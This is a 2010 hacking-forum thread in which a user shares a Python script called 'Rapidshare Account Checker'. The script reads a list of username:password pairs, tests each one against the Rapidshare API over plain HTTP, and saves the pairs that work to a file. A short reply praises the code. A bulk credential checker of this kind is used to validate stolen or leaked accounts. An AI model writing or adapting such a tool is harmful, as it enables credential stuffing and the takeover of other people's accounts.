Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Mi4night en 7 Octubre 2010, 04:05 am



Título: [Python]Rapidshare Account Checker v0.1
Publicado por: Mi4night en 7 Octubre 2010, 04:05 am
Okay after i haven't posted anything for so long now, i coded this 2 days while I'm learning some python this Account Checker Script it works Pretty simple the script's speak's for itself.
To run it you need Python 3.1.
Let me know if you like it, or think there's something i can improve or add.
The single account check is pretty ugly yet need to read more about formating string in Python till then here it is.
(Rapidshare API makes life easier ;))
Código:
#!/usr/bin/python3
import os, sys,urllib.request

#Checking what platform we're running on to perform CLI cleaning.
if sys.platform == ('win32' or 'win64'): os.system('cls')
elif sys.platform == ('linux' or 'linux2'): os.system('clear')

print('#----------------------------------------------------------------------#')
print('# Script Name : Rapidshare Account Checker v0.1                        #')
print('# Author      : Mi4night                                               #')
print('# E-Mail      : mi4night@hotmail.com                                   #')
print('# Purpose     : rsc.py rchecklist.txt | or simply exec script          #')
print('# Usage       : At your own risk                                       #')
print('# List Format : username:password and new line                         #')
print('#----------------------------------------------------------------------#\n')

def main():
    if len(sys.argv) == 1:
       PromptedExec()
    else:
       ListCheck(sys.argv[1])

def PromptedExec():#Prompt User for Input to get Account Informations.
    Username = input("Please enter your Username:")
    Password = input("Please enter your Password:")
    print('--------------------------------------')

    try:
       if len(Username) and len(Password) != 0:
          Response = urllib.request.urlopen("http://api.rapidshare.com/cgi-bin/rsapi.cgi?sub=getaccountdetails_v1&type=prem&login="+Username+"&password="+Password)
          ResOut = Response.read()
          Response.close()

          if len(ResOut) < 44:
             print('Login failed.')
          else:
             List = ResOut
             for Items in List.split():
                 print(Items)
              
            
       else:
          print ("You forgot to enter your Username or Password")
          sys.exit(0)
    except:
          print('Error Accured!')
      
def ListCheck(FileName):#Check's a list with account's if there broken or still working.

    try:
        CurrDir = os.getcwd() + '\\'
        FileHwnd = open(CurrDir + FileName)
    
        for line in FileHwnd.readlines():
            sBuffer = line
            AccountInfo = sBuffer.split(':')
            RsUsername = AccountInfo[0]
            RsPassword = AccountInfo[1]
            Response = urllib.request.urlopen("http://api.rapidshare.com/cgi-bin/rsapi.cgi?sub=getaccountdetails_v1&type=prem&login="+RsUsername+"&password="+RsPassword)
            ResOut = Response.read()
            Response.close()

            if len(ResOut) < 44:
               print('Username:{} Password:{} is not working. :('.format(RsUsername,RsPassword))
               print('------------------------------------------------------------------------')
            else:
               print('Username:{} Password:{} is working!'.format(RsUsername,RsPassword))
               print('------------------------------------------------------------------------')

               #Open File and write/append all working account's in it.
               File = open(CurrDir + 'Working Accounts.txt','a')
               File.writelines(RsUsername + ':' + RsPassword + '\n')

        print("\nAll working account's have been saved in the file (Working Account's.txt)")
        print("*************************************************************************")
        print("For suggestion's found bugs and idea's mail me mi4night@hotmail.com")

    except:
          print('Error Accured!')

    
if __name__ == '__main__':main()




Título: Re: [Python]Rapidshare Account Checker v0.1
Publicado por: [L]ord [R]NA en 11 Octubre 2010, 07:11 am
Mi4night Good code... the next time try to write in spanish because some users don't understand english.